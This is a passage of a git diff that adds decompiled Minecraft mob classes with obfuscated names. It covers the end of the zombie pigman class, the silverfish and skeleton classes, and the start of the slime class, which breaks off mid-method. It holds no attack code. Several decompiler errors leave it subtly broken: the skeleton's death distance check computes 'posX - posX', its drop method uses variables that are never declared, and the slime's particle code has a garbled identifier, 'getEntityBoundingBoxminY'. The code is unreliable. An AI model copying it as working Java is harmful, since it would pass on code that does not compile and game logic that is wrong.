+      field_175459_bn = UUID.fromString(var2);
+      EntityPlayer var3 = worldObj.getPlayerEntityByUUID(field_175459_bn);
+      setRevengeTarget(var3);
+      
+      if (var3 != null)
+      {
+        attackingPlayer = var3;
+        recentlyHit = getRevengeTimer();
+      }
+    }
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    
+
+    Entity var3 = source.getEntity();
+    
+    if ((var3 instanceof EntityPlayer))
+    {
+      becomeAngryAt(var3);
+    }
+    
+    return super.attackEntityFrom(source, amount);
+  }
+  
+
+
+
+
+  private void becomeAngryAt(Entity p_70835_1_)
+  {
+    angerLevel = (400 + rand.nextInt(400));
+    randomSoundDelay = rand.nextInt(40);
+    
+    if ((p_70835_1_ instanceof EntityLivingBase))
+    {
+      setRevengeTarget((EntityLivingBase)p_70835_1_);
+    }
+  }
+  
+  public boolean func_175457_ck()
+  {
+    return angerLevel > 0;
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return "mob.zombiepig.zpig";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.zombiepig.zpighurt";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.zombiepig.zpigdeath";
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    int var3 = rand.nextInt(2 + p_70628_2_);
+    
+
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      dropItem(Items.rotten_flesh, 1);
+    }
+    
+    var3 = rand.nextInt(2 + p_70628_2_);
+    
+    for (var4 = 0; var4 < var3; var4++)
+    {
+      dropItem(Items.gold_nugget, 1);
+    }
+  }
+  
+
+
+
+  public boolean interact(EntityPlayer p_70085_1_)
+  {
+    return false;
+  }
+  
+
+
+
+  protected void addRandomArmor()
+  {
+    dropItem(Items.gold_ingot, 1);
+  }
+  
+  protected void func_180481_a(DifficultyInstance p_180481_1_)
+  {
+    setCurrentItemOrArmor(0, new net.minecraft.item.ItemStack(Items.golden_sword));
+  }
+  
+  public IEntityLivingData func_180482_a(DifficultyInstance p_180482_1_, IEntityLivingData p_180482_2_)
+  {
+    super.func_180482_a(p_180482_1_, p_180482_2_);
+    setVillager(false);
+    return p_180482_2_;
+  }
+  
+  class AIHurtByAggressor extends EntityAIHurtByTarget
+  {
+    private static final String __OBFID = "CL_00002206";
+    
+    public AIHurtByAggressor()
+    {
+      super(true, new Class[0]);
+    }
+    
+    protected void func_179446_a(EntityCreature p_179446_1_, EntityLivingBase p_179446_2_)
+    {
+      super.func_179446_a(p_179446_1_, p_179446_2_);
+      
+      if ((p_179446_1_ instanceof EntityPigZombie))
+      {
+        ((EntityPigZombie)p_179446_1_).becomeAngryAt(p_179446_2_);
+      }
+    }
+  }
+  
+  class AITargetAggressor extends EntityAINearestAttackableTarget
+  {
+    private static final String __OBFID = "CL_00002207";
+    
+    public AITargetAggressor()
+    {
+      super(EntityPlayer.class, true);
+    }
+    
+    public boolean shouldExecute()
+    {
+      return (((EntityPigZombie)taskOwner).func_175457_ck()) && (super.shouldExecute());
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntitySilverfish.java b/src/minecraft/net/minecraft/entity/monster/EntitySilverfish.java
new file mode 100644
index 0000000..6a6f98f
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntitySilverfish.java
@@ -0,0 +1,294 @@
+package net.minecraft.entity.monster;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockSilverfish;
+import net.minecraft.block.BlockSilverfish.EnumType;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EnumCreatureAttribute;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIAttackOnCollide;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EntityDamageSource;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class EntitySilverfish extends EntityMob
+{
+  private AISummonSilverfish field_175460_b;
+  private static final String __OBFID = "CL_00001696";
+  
+  public EntitySilverfish(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.4F, 0.3F);
+    tasks.addTask(1, new net.minecraft.entity.ai.EntityAISwimming(this));
+    tasks.addTask(3, this.field_175460_b = new AISummonSilverfish());
+    tasks.addTask(4, new EntityAIAttackOnCollide(this, EntityPlayer.class, 1.0D, false));
+    tasks.addTask(5, new AIHideInStone());
+    targetTasks.addTask(1, new net.minecraft.entity.ai.EntityAIHurtByTarget(this, true, new Class[0]));
+    targetTasks.addTask(2, new net.minecraft.entity.ai.EntityAINearestAttackableTarget(this, EntityPlayer.class, true));
+  }
+  
+  public float getEyeHeight()
+  {
+    return 0.1F;
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(8.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.25D);
+    getEntityAttribute(SharedMonsterAttributes.attackDamage).setBaseValue(1.0D);
+  }
+  
+
+
+
+
+  protected boolean canTriggerWalking()
+  {
+    return false;
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return "mob.silverfish.say";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.silverfish.hit";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.silverfish.kill";
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    
+
+    if (((source instanceof EntityDamageSource)) || (source == DamageSource.magic))
+    {
+      field_175460_b.func_179462_f();
+    }
+    
+    return super.attackEntityFrom(source, amount);
+  }
+  
+
+  protected void func_180429_a(BlockPos p_180429_1_, Block p_180429_2_)
+  {
+    playSound("mob.silverfish.step", 0.15F, 1.0F);
+  }
+  
+  protected Item getDropItem()
+  {
+    return null;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    renderYawOffset = rotationYaw;
+    super.onUpdate();
+  }
+  
+  public float func_180484_a(BlockPos p_180484_1_)
+  {
+    return worldObj.getBlockState(p_180484_1_.offsetDown()).getBlock() == Blocks.stone ? 10.0F : super.func_180484_a(p_180484_1_);
+  }
+  
+
+
+
+  protected boolean isValidLightLevel()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean getCanSpawnHere()
+  {
+    if (super.getCanSpawnHere())
+    {
+      EntityPlayer var1 = worldObj.getClosestPlayerToEntity(this, 5.0D);
+      return var1 == null;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+  public EnumCreatureAttribute getCreatureAttribute()
+  {
+    return EnumCreatureAttribute.ARTHROPOD;
+  }
+  
+  class AIHideInStone extends EntityAIWander
+  {
+    private EnumFacing field_179483_b;
+    private boolean field_179484_c;
+    private static final String __OBFID = "CL_00002205";
+    
+    public AIHideInStone()
+    {
+      super(1.0D, 10);
+      setMutexBits(1);
+    }
+    
+    public boolean shouldExecute()
+    {
+      if (getAttackTarget() != null)
+      {
+        return false;
+      }
+      if (!getNavigator().noPath())
+      {
+        return false;
+      }
+      
+
+      Random var1 = getRNG();
+      
+      if (var1.nextInt(10) == 0)
+      {
+        field_179483_b = EnumFacing.random(var1);
+        BlockPos var2 = new BlockPos(posX, posY + 0.5D, posZ).offset(field_179483_b);
+        IBlockState var3 = worldObj.getBlockState(var2);
+        
+        if (BlockSilverfish.func_176377_d(var3))
+        {
+          field_179484_c = true;
+          return true;
+        }
+      }
+      
+      field_179484_c = false;
+      return super.shouldExecute();
+    }
+    
+
+    public boolean continueExecuting()
+    {
+      return field_179484_c ? false : super.continueExecuting();
+    }
+    
+    public void startExecuting()
+    {
+      if (!field_179484_c)
+      {
+        super.startExecuting();
+      }
+      else
+      {
+        World var1 = worldObj;
+        BlockPos var2 = new BlockPos(posX, posY + 0.5D, posZ).offset(field_179483_b);
+        IBlockState var3 = var1.getBlockState(var2);
+        
+        if (BlockSilverfish.func_176377_d(var3))
+        {
+          var1.setBlockState(var2, Blocks.monster_egg.getDefaultState().withProperty(BlockSilverfish.VARIANT_PROP, BlockSilverfish.EnumType.func_176878_a(var3)), 3);
+          spawnExplosionParticle();
+          setDead();
+        }
+      }
+    }
+  }
+  
+  class AISummonSilverfish extends net.minecraft.entity.ai.EntityAIBase
+  {
+    private EntitySilverfish field_179464_a = EntitySilverfish.this;
+    private int field_179463_b;
+    private static final String __OBFID = "CL_00002204";
+    
+    AISummonSilverfish() {}
+    
+    public void func_179462_f() { if (field_179463_b == 0)
+      {
+        field_179463_b = 20;
+      }
+    }
+    
+    public boolean shouldExecute()
+    {
+      return field_179463_b > 0;
+    }
+    
+    public void updateTask()
+    {
+      field_179463_b -= 1;
+      
+      if (field_179463_b <= 0)
+      {
+        World var1 = field_179464_a.worldObj;
+        Random var2 = field_179464_a.getRNG();
+        BlockPos var3 = new BlockPos(field_179464_a);
+        
+        for (int var4 = 0; (var4 <= 5) && (var4 >= -5); var4 = var4 <= 0 ? 1 - var4 : 0 - var4)
+        {
+          for (int var5 = 0; (var5 <= 10) && (var5 >= -10); var5 = var5 <= 0 ? 1 - var5 : 0 - var5)
+          {
+            for (int var6 = 0; (var6 <= 10) && (var6 >= -10); var6 = var6 <= 0 ? 1 - var6 : 0 - var6)
+            {
+              BlockPos var7 = var3.add(var5, var4, var6);
+              IBlockState var8 = var1.getBlockState(var7);
+              
+              if (var8.getBlock() == Blocks.monster_egg)
+              {
+                if (var1.getGameRules().getGameRuleBooleanValue("mobGriefing"))
+                {
+                  var1.destroyBlock(var7, true);
+                }
+                else
+                {
+                  var1.setBlockState(var7, ((BlockSilverfish.EnumType)var8.getValue(BlockSilverfish.VARIANT_PROP)).func_176883_d(), 3);
+                }
+                
+                if (var2.nextBoolean())
+                {
+                  return;
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntitySkeleton.java b/src/minecraft/net/minecraft/entity/monster/EntitySkeleton.java
new file mode 100644
index 0000000..6ab2bf6
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntitySkeleton.java
@@ -0,0 +1,448 @@
+package net.minecraft.entity.monster;
+
+import com.google.common.base.Predicate;
+import java.util.Calendar;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.enchantment.Enchantment;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.EnumCreatureAttribute;
+import net.minecraft.entity.IEntityLivingData;
+import net.minecraft.entity.IRangedAttackMob;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIArrowAttack;
+import net.minecraft.entity.ai.EntityAIAttackOnCollide;
+import net.minecraft.entity.ai.EntityAIAvoidEntity;
+import net.minecraft.entity.ai.EntityAIFleeSun;
+import net.minecraft.entity.ai.EntityAINearestAttackableTarget;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.passive.EntityWolf;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.world.DifficultyInstance;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProviderHell;
+
+public class EntitySkeleton extends EntityMob implements IRangedAttackMob
+{
+  private EntityAIArrowAttack aiArrowAttack = new EntityAIArrowAttack(this, 1.0D, 20, 60, 15.0F);
+  private EntityAIAttackOnCollide aiAttackOnCollide = new EntityAIAttackOnCollide(this, EntityPlayer.class, 1.2D, false);
+  private static final String __OBFID = "CL_00001697";
+  
+  public EntitySkeleton(World worldIn)
+  {
+    super(worldIn);
+    tasks.addTask(1, new net.minecraft.entity.ai.EntityAISwimming(this));
+    tasks.addTask(2, new net.minecraft.entity.ai.EntityAIRestrictSun(this));
+    tasks.addTask(2, field_175455_a);
+    tasks.addTask(3, new EntityAIFleeSun(this, 1.0D));
+    tasks.addTask(3, new EntityAIAvoidEntity(this, new Predicate()
+    {
+      private static final String __OBFID = "CL_00002203";
+      
+      public boolean func_179945_a(Entity p_179945_1_) {
+        return p_179945_1_ instanceof EntityWolf;
+      }
+      
+      public boolean apply(Object p_apply_1_) {
+        return func_179945_a((Entity)p_apply_1_);
+      }
+    }, 6.0F, 1.0D, 1.2D));
+    tasks.addTask(4, new EntityAIWander(this, 1.0D));
+    tasks.addTask(6, new EntityAIWatchClosest(this, EntityPlayer.class, 8.0F));
+    tasks.addTask(6, new net.minecraft.entity.ai.EntityAILookIdle(this));
+    targetTasks.addTask(1, new net.minecraft.entity.ai.EntityAIHurtByTarget(this, false, new Class[0]));
+    targetTasks.addTask(2, new EntityAINearestAttackableTarget(this, EntityPlayer.class, true));
+    targetTasks.addTask(3, new EntityAINearestAttackableTarget(this, EntityIronGolem.class, true));
+    
+    if ((worldIn != null) && (!isRemote))
+    {
+      setCombatTask();
+    }
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.25D);
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(13, new Byte((byte)0));
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return "mob.skeleton.say";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.skeleton.hurt";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.skeleton.death";
+  }
+  
+  protected void func_180429_a(BlockPos p_180429_1_, Block p_180429_2_)
+  {
+    playSound("mob.skeleton.step", 0.15F, 1.0F);
+  }
+  
+  public boolean attackEntityAsMob(Entity p_70652_1_)
+  {
+    if (super.attackEntityAsMob(p_70652_1_))
+    {
+      if ((getSkeletonType() == 1) && ((p_70652_1_ instanceof EntityLivingBase)))
+      {
+        ((EntityLivingBase)p_70652_1_).addPotionEffect(new PotionEffect(witherid, 200));
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+  public EnumCreatureAttribute getCreatureAttribute()
+  {
+    return EnumCreatureAttribute.UNDEAD;
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    if ((worldObj.isDaytime()) && (!worldObj.isRemote))
+    {
+      float var1 = getBrightness(1.0F);
+      BlockPos var2 = new BlockPos(posX, Math.round(posY), posZ);
+      
+      if ((var1 > 0.5F) && (rand.nextFloat() * 30.0F < (var1 - 0.4F) * 2.0F) && (worldObj.isAgainstSky(var2)))
+      {
+        boolean var3 = true;
+        ItemStack var4 = getEquipmentInSlot(4);
+        
+        if (var4 != null)
+        {
+          if (var4.isItemStackDamageable())
+          {
+            var4.setItemDamage(var4.getItemDamage() + rand.nextInt(2));
+            
+            if (var4.getItemDamage() >= var4.getMaxDamage())
+            {
+              renderBrokenItemStack(var4);
+              setCurrentItemOrArmor(4, null);
+            }
+          }
+          
+          var3 = false;
+        }
+        
+        if (var3)
+        {
+          setFire(8);
+        }
+      }
+    }
+    
+    if ((worldObj.isRemote) && (getSkeletonType() == 1))
+    {
+      setSize(0.72F, 2.535F);
+    }
+    
+    super.onLivingUpdate();
+  }
+  
+
+
+
+  public void updateRidden()
+  {
+    super.updateRidden();
+    
+    if ((ridingEntity instanceof EntityCreature))
+    {
+      EntityCreature var1 = (EntityCreature)ridingEntity;
+      renderYawOffset = renderYawOffset;
+    }
+  }
+  
+
+
+
+  public void onDeath(DamageSource cause)
+  {
+    super.onDeath(cause);
+    
+    if (((cause.getSourceOfDamage() instanceof EntityArrow)) && ((cause.getEntity() instanceof EntityPlayer)))
+    {
+      EntityPlayer var2 = (EntityPlayer)cause.getEntity();
+      double var3 = posX - posX;
+      double var5 = posZ - posZ;
+      
+      if (var3 * var3 + var5 * var5 >= 2500.0D)
+      {
+        var2.triggerAchievement(net.minecraft.stats.AchievementList.snipeSkeleton);
+      }
+    }
+    else if (((cause.getEntity() instanceof EntityCreeper)) && (((EntityCreeper)cause.getEntity()).getPowered()) && (((EntityCreeper)cause.getEntity()).isAIEnabled()))
+    {
+      ((EntityCreeper)cause.getEntity()).func_175493_co();
+      entityDropItem(new ItemStack(Items.skull, 1, getSkeletonType() == 1 ? 1 : 0), 0.0F);
+    }
+  }
+  
+  protected Item getDropItem()
+  {
+    return Items.arrow;
+  }
+  
+
+
+
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    if (getSkeletonType() == 1)
+    {
+      int var3 = rand.nextInt(3 + p_70628_2_) - 1;
+      
+      for (int var4 = 0; var4 < var3; var4++)
+      {
+        dropItem(Items.coal, 1);
+      }
+    }
+    else
+    {
+      var3 = rand.nextInt(3 + p_70628_2_);
+      
+      for (var4 = 0; var4 < var3; var4++)
+      {
+        dropItem(Items.arrow, 1);
+      }
+    }
+    
+    int var3 = rand.nextInt(3 + p_70628_2_);
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      dropItem(Items.bone, 1);
+    }
+  }
+  
+
+
+
+  protected void addRandomArmor()
+  {
+    if (getSkeletonType() == 1)
+    {
+      entityDropItem(new ItemStack(Items.skull, 1, 1), 0.0F);
+    }
+  }
+  
+  protected void func_180481_a(DifficultyInstance p_180481_1_)
+  {
+    super.func_180481_a(p_180481_1_);
+    setCurrentItemOrArmor(0, new ItemStack(Items.bow));
+  }
+  
+  public IEntityLivingData func_180482_a(DifficultyInstance p_180482_1_, IEntityLivingData p_180482_2_)
+  {
+    p_180482_2_ = super.func_180482_a(p_180482_1_, p_180482_2_);
+    
+    if (((worldObj.provider instanceof WorldProviderHell)) && (getRNG().nextInt(5) > 0))
+    {
+      tasks.addTask(4, aiAttackOnCollide);
+      setSkeletonType(1);
+      setCurrentItemOrArmor(0, new ItemStack(Items.stone_sword));
+      getEntityAttribute(SharedMonsterAttributes.attackDamage).setBaseValue(4.0D);
+    }
+    else
+    {
+      tasks.addTask(4, aiArrowAttack);
+      func_180481_a(p_180482_1_);
+      func_180483_b(p_180482_1_);
+    }
+    
+    setCanPickUpLoot(rand.nextFloat() < 0.55F * p_180482_1_.func_180170_c());
+    
+    if (getEquipmentInSlot(4) == null)
+    {
+      Calendar var3 = worldObj.getCurrentDate();
+      
+      if ((var3.get(2) + 1 == 10) && (var3.get(5) == 31) && (rand.nextFloat() < 0.25F))
+      {
+        setCurrentItemOrArmor(4, new ItemStack(rand.nextFloat() < 0.1F ? Blocks.lit_pumpkin : Blocks.pumpkin));
+        equipmentDropChances[4] = 0.0F;
+      }
+    }
+    
+    return p_180482_2_;
+  }
+  
+
+
+
+  public void setCombatTask()
+  {
+    tasks.removeTask(aiAttackOnCollide);
+    tasks.removeTask(aiArrowAttack);
+    ItemStack var1 = getHeldItem();
+    
+    if ((var1 != null) && (var1.getItem() == Items.bow))
+    {
+      tasks.addTask(4, aiArrowAttack);
+    }
+    else
+    {
+      tasks.addTask(4, aiAttackOnCollide);
+    }
+  }
+  
+
+
+
+  public void attackEntityWithRangedAttack(EntityLivingBase p_82196_1_, float p_82196_2_)
+  {
+    EntityArrow var3 = new EntityArrow(worldObj, this, p_82196_1_, 1.6F, 14 - worldObj.getDifficulty().getDifficultyId() * 4);
+    int var4 = EnchantmentHelper.getEnchantmentLevel(powereffectId, getHeldItem());
+    int var5 = EnchantmentHelper.getEnchantmentLevel(puncheffectId, getHeldItem());
+    var3.setDamage(p_82196_2_ * 2.0F + rand.nextGaussian() * 0.25D + worldObj.getDifficulty().getDifficultyId() * 0.11F);
+    
+    if (var4 > 0)
+    {
+      var3.setDamage(var3.getDamage() + var4 * 0.5D + 0.5D);
+    }
+    
+    if (var5 > 0)
+    {
+      var3.setKnockbackStrength(var5);
+    }
+    
+    if ((EnchantmentHelper.getEnchantmentLevel(flameeffectId, getHeldItem()) > 0) || (getSkeletonType() == 1))
+    {
+      var3.setFire(100);
+    }
+    
+    playSound("random.bow", 1.0F, 1.0F / (getRNG().nextFloat() * 0.4F + 0.8F));
+    worldObj.spawnEntityInWorld(var3);
+  }
+  
+
+
+
+  public int getSkeletonType()
+  {
+    return dataWatcher.getWatchableObjectByte(13);
+  }
+  
+
+
+
+  public void setSkeletonType(int p_82201_1_)
+  {
+    dataWatcher.updateObject(13, Byte.valueOf((byte)p_82201_1_));
+    isImmuneToFire = (p_82201_1_ == 1);
+    
+    if (p_82201_1_ == 1)
+    {
+      setSize(0.72F, 2.535F);
+    }
+    else
+    {
+      setSize(0.6F, 1.95F);
+    }
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    
+    if (tagCompund.hasKey("SkeletonType", 99))
+    {
+      byte var2 = tagCompund.getByte("SkeletonType");
+      setSkeletonType(var2);
+    }
+    
+    setCombatTask();
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setByte("SkeletonType", (byte)getSkeletonType());
+  }
+  
+
+
+
+  public void setCurrentItemOrArmor(int slotIn, ItemStack itemStackIn)
+  {
+    super.setCurrentItemOrArmor(slotIn, itemStackIn);
+    
+    if ((!worldObj.isRemote) && (slotIn == 0))
+    {
+      setCombatTask();
+    }
+  }
+  
+  public float getEyeHeight()
+  {
+    return getSkeletonType() == 1 ? super.getEyeHeight() : 1.74F;
+  }
+  
+
+
+
+  public double getYOffset()
+  {
+    return super.getYOffset() - 0.5D;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntitySlime.java b/src/minecraft/net/minecraft/entity/monster/EntitySlime.java
new file mode 100644
index 0000000..bbd8374
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntitySlime.java
@@ -0,0 +1,582 @@
+package net.minecraft.entity.monster;
+
+import java.util.Random;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.IEntityLivingData;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIBase;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityJumpHelper;
+import net.minecraft.entity.ai.EntityMoveHelper;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.DifficultyInstance;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.storage.WorldInfo;
+
+public class EntitySlime extends EntityLiving implements IMob
+{
+  public float squishAmount;
+  public float squishFactor;
+  public float prevSquishFactor;
+  private boolean field_175452_bi;
+  private static final String __OBFID = "CL_00001698";
+  
+  public EntitySlime(World worldIn)
+  {
+    super(worldIn);
+    moveHelper = new SlimeMoveHelper();
+    tasks.addTask(1, new AISlimeFloat());
+    tasks.addTask(2, new AISlimeAttack());
+    tasks.addTask(3, new AISlimeFaceRandom());
+    tasks.addTask(5, new AISlimeHop());
+    targetTasks.addTask(1, new net.minecraft.entity.ai.EntityAIFindEntityNearestPlayer(this));
+    targetTasks.addTask(3, new net.minecraft.entity.ai.EntityAIFindEntityNearest(this, EntityIronGolem.class));
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(16, Byte.valueOf((byte)1));
+  }
+  
+  protected void setSlimeSize(int p_70799_1_)
+  {
+    dataWatcher.updateObject(16, Byte.valueOf((byte)p_70799_1_));
+    setSize(0.51000005F * p_70799_1_, 0.51000005F * p_70799_1_);
+    setPosition(posX, posY, posZ);
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(p_70799_1_ * p_70799_1_);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.2F + 0.1F * p_70799_1_);
+    setHealth(getMaxHealth());
+    experienceValue = p_70799_1_;
+  }
+  
+
+
+
+  public int getSlimeSize()
+  {
+    return dataWatcher.getWatchableObjectByte(16);
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setInteger("Size", getSlimeSize() - 1);
+    tagCompound.setBoolean("wasOnGround", field_175452_bi);
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    int var2 = tagCompund.getInteger("Size");
+    
+    if (var2 < 0)
+    {
+      var2 = 0;
+    }
+    
+    setSlimeSize(var2 + 1);
+    field_175452_bi = tagCompund.getBoolean("wasOnGround");
+  }
+  
+  protected EnumParticleTypes func_180487_n()
+  {
+    return EnumParticleTypes.SLIME;
+  }
+  
+
+
+
+  protected String getJumpSound()
+  {
+    return "mob.slime." + (getSlimeSize() > 1 ? "big" : "small");
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    if ((!worldObj.isRemote) && (worldObj.getDifficulty() == EnumDifficulty.PEACEFUL) && (getSlimeSize() > 0))
+    {
+      isDead = true;
+    }
+    
+    squishFactor += (squishAmount - squishFactor) * 0.5F;
+    prevSquishFactor = squishFactor;
+    super.onUpdate();
+    
+    if ((onGround) && (!field_175452_bi))
+    {
+      int var1 = getSlimeSize();
+      
+      for (int var2 = 0; var2 < var1 * 8; var2++)
+      {
+        float var3 = rand.nextFloat() * 3.1415927F * 2.0F;
+        float var4 = rand.nextFloat() * 0.5F + 0.5F;
+        float var5 = MathHelper.sin(var3) * var1 * 0.5F * var4;
+        float var6 = MathHelper.cos(var3) * var1 * 0.5F * var4;
+        World var10000 = worldObj;
+        EnumParticleTypes var10001 = func_180487_n();
+        double var10002 = posX + var5;
+        double var10004 = posZ + var6;
+        var10000.spawnParticle(var10001, var10002, getEntityBoundingBoxminY, var10004, 0.0D, 0.0D, 0.0D, new int[0]);
+      }
+      
+      if (makesSoundOnLand())
+      {
+        playSound(getJumpSound(), getSoundVolume(), ((rand.nextFloat() - rand.nextFloat()) * 0.2F + 1.0F) / 0.8F);
+      }
+      
+      squishAmount = -0.5F;
+    }
+    else if ((!onGround) && (field_175452_bi))
+    {
+      squishAmount = 1.0F;
+    }
+    
+    field_175452_bi = onGround;
+    alterSquishAmount();
+  }
+  
+  protected void alterSquishAmount()
+  {
+    squishAmount *= 0.6F;
+  }
+  
+
+
+
+  protected int getJumpDelay()
+  {
+    return rand.nextInt(20) + 10;
+  }
+  
+  protected EntitySlime createInstance()
+  {
+    return new EntitySlime(worldObj);
+  }
+  
+  public void func_145781_i(int p_145781_1_)
+  {
+    if (p_145781_1_ == 16)
+    {
+      int var2 = getSlimeSize();
+      setSize(0.51000005F * var2, 0.51000005F * var2);
+      rotationYaw = rotationYawHead;
+      renderYawOffset = rotationYawHead;
+      
+      if ((isInWater()) && (rand.nextInt(20) == 0))
+      {
+        resetHeight();
+      }
+    }
+    
+    super.func_145781_i(p_145781_1_);
+  }
+  
+
+
+
+  public void setDead()
+  {
+    int var1 = getSlimeSize();
+    
+    if ((!worldObj.isRemote) && (var1 > 1) && (getHealth() <= 0.0F))
+    {
+      int var2 = 2 + rand.nextInt(3);
+      
+      for (int var3 = 0; var3 < var2; var3++)
+      {
+        float var4 = (var3 % 2 - 0.5F) * var1 / 4.0F;
+        float var5 = (var3 / 2 - 0.5F) * var1 / 4.0F;
+        EntitySlime var6 = createInstance();
+        
+        if (hasCustomName())
+        {
+          var6.setCustomNameTag(getCustomNameTag());
+        }
+        
+        if (isNoDespawnRequired())
+        {
+          var6.enablePersistence();
+        }
+        
+        var6.setSlimeSize(var1 / 2);
+        var6.setLocationAndAngles(posX + var4, posY + 0.5D, posZ + var5, rand.nextFloat() * 360.0F, 0.0F);
+        worldObj.spawnEntityInWorld(var6);
+      }
+    }
+    
+    super.setDead();
+  }
+  
+
+
+
+  public void applyEntityCollision(Entity entityIn)
+  {
+    super.applyEntityCollision(entityIn);
+    
+    if (((entityIn instanceof EntityIronGolem)) && (canDamagePlayer()))
+    {
+      func_175451_e((EntityLivingBase)entityIn);
+    }
+  }
+  
+
+
+
+  public void onCollideWithPlayer(EntityPlayer entityIn)
+  {
+    if (canDamagePlayer())
+    {
+      func_175451_e(entityIn);
+    }
+  }
+  
+  protected void func_175451_e(EntityLivingBase p_175451_1_)
+  {
+    int var2 = getSlimeSize();
+    
